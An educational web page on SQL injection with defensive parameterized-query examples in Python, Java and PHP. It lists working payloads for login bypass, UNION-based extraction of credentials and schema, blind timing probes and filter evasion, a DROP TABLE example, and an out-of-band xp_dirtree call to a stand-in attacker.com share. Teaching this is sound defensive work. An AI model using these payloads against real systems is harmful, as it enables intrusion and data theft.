Learn. Exploit. Defend. _
Try these payloads in our safe demo environment to see how SQL injection works in action!
Try these payloads in the username field:
Generated query will appear here when you click "Login"
The OG attack that started it all. When user input gets directly concatenated into SQL queries.
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
The --
comments out the rest of the query, bypassing password check!
When you don't get direct output but can infer information based on behavior.
Boolean-based: admin' AND 1=1--
(returns true/false patterns)
Time-based: admin'; IF (1=1) WAITFOR DELAY '0:0:5'--
(delays response when true)
When you make the database call out to external systems to exfiltrate data.
'; EXEC master..xp_dirtree '\\attacker.com\share'--
This makes the database attempt to list a network share on your server!
When your payload gets stored and executed later by another function.
Example:
// User registration INSERT INTO comments (text) VALUES ('Nice post!'; DROP TABLE users--') // Later when admin views comments... boom!
'
, "
, ;
)' AND 1=1--
vs ' AND 1=2--
and compare responses'; WAITFOR DELAY '0:0:5'--
to test for blind SQLi' ORDER BY X--
incrementing X until error# UNSAFE - Direct string concatenation (VULNERABLE) query = "SELECT * FROM users WHERE username = '" + username + "'" # SAFE - Parameterized queries (SECURE) query = "SELECT * FROM users WHERE username = %s" cursor.execute(query, (username,))
exec()
or dynamic SQL'
, "
, )
)OR 1=1
, UNION SELECT
, etc.)--
, #
, /*
)/**/
instead of spaces if spaces are filteredCHR(65)
instead of A
if quotes are escaped1 OR 1=1
instead of string-based injections0x61646d696e
= 'admin'--
, #
, /**/
Authentication Bypass: ' OR '1'='1'-- Database Version: ' UNION SELECT 1,version(),3-- Table Names: ' UNION SELECT 1,table_name,3 FROM information_schema.tables-- Column Names: ' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'-- Data Exfiltration: ' UNION SELECT 1,username||':'||password,3 FROM users--
// UNSAFE String query = "SELECT * FROM users WHERE username = '" + username + "'"; Statement stmt = connection.createStatement(); ResultSet rs = stmt.executeQuery(query); // SAFE String query = "SELECT * FROM users WHERE username = ?"; PreparedStatement pstmt = connection.prepareStatement(query); pstmt.setString(1, username); ResultSet rs = pstmt.executeQuery();
// UNSAFE $query = "SELECT * FROM users WHERE username = '" . $_GET['username'] . "'"; $result = mysqli_query($conn, $query); // SAFE $stmt = $conn->prepare("SELECT * FROM users WHERE username = ?"); $stmt->bind_param("s", $_GET['username']); $stmt->execute(); $result = $stmt->get_result();
Test your SQL injection skills with these progressive challenges:
Bypass the login form without knowing valid credentials.
Extract the database version using a UNION attack.
Extract the admin password one character at a time using boolean responses.
You've completed all challenges! Here's your badge:
You're now a certified SQL Injection Ninja!